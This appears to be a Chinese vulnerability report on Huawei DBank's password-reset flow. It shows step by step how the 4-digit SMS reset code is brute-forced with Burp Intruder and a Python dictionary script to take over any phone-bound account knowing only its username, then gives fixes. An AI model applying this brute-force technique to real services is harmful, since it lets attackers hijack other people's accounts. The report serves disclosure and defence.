华为网盘部分用户密码修改
针对绑定了手机号的用户可以修改其密码(用户注册后可以在设置里绑定手机)
本次攻击不需要知道目标的手机号,只需要知道用户名(通常是邮箱或者手机号)就可以了。
http://dbank.vmall.com/netdisk/resetpassword. html?v=2.9.41372210600917#inputAccount
这个网页是用来找回密码的,输入目标用户名,然后找回方式选择“通过密保手机重置密码”
Burpsuite拦截数据包
GET请求中的r参数就是验证码,设置其为变量。
已知这个手机验证码是4位数字组合,写个python脚本生成个字典
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
f=open( "dict.txt" , 'w+' )
chars=[
'0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' ,
# 'a' , 'b' , 'c' , 'd' , 'e' , 'f' , 'g' , 'h' , 'i' , 'j' , 'k' , 'l' , 'm' , 'n' , 'o' , 'p' , 'q' , 'r' , 's' , 't' , 'u' , 'v' , 'w' , 'x' , 'y' , 'z' ,
# 'A' , 'B' , 'C' , 'D' , 'E' , 'F' , 'G' , 'H' , 'I' , 'J' , 'K' , 'L' , 'M' , 'N' , 'O' , 'P' , 'Q' , 'R' , 'S' , 'T' , 'U' , 'V' , 'W' , 'X' , 'Y' , 'Z' ,
]
base=len(chars) # 62
end=len(chars)** 4
for i in range( 0 ,end):
n=i
ch0=chars[n%base]
n=n/base
ch1=chars[n%base]
n=n/base
ch2=chars[n%base]
n=n/base
ch3=chars[n%base]
print i,ch3,ch2,ch1,ch0
f.write(ch3+ch2+ch1+ch0+ '\n' )
f.close()
|
开启intruder,这里有10000个请求,几分钟搞定。
这里要注意的是返回的报文长度是不变的,变化的只是这个retcode,修改密码失败的返回0002,成功返回的是0000,这个不影响我们的攻击。
然后用新密码登陆吧。(如果此时本机不被华为网盘响应,请稍等一两分钟或者换台电脑)
修复方案:
这种找回密码的逻辑方便了用户,但是有安全隐患。建议:
1.验证码长一点,一般情况下验证码有6位;
2.当用户输入正确的验证码后再跳转到输入新密码页面,而且验证码只能是输入一次有效;
3.限制用户提交验证的次数或者一次输入错误后要求输入图片验证码。 |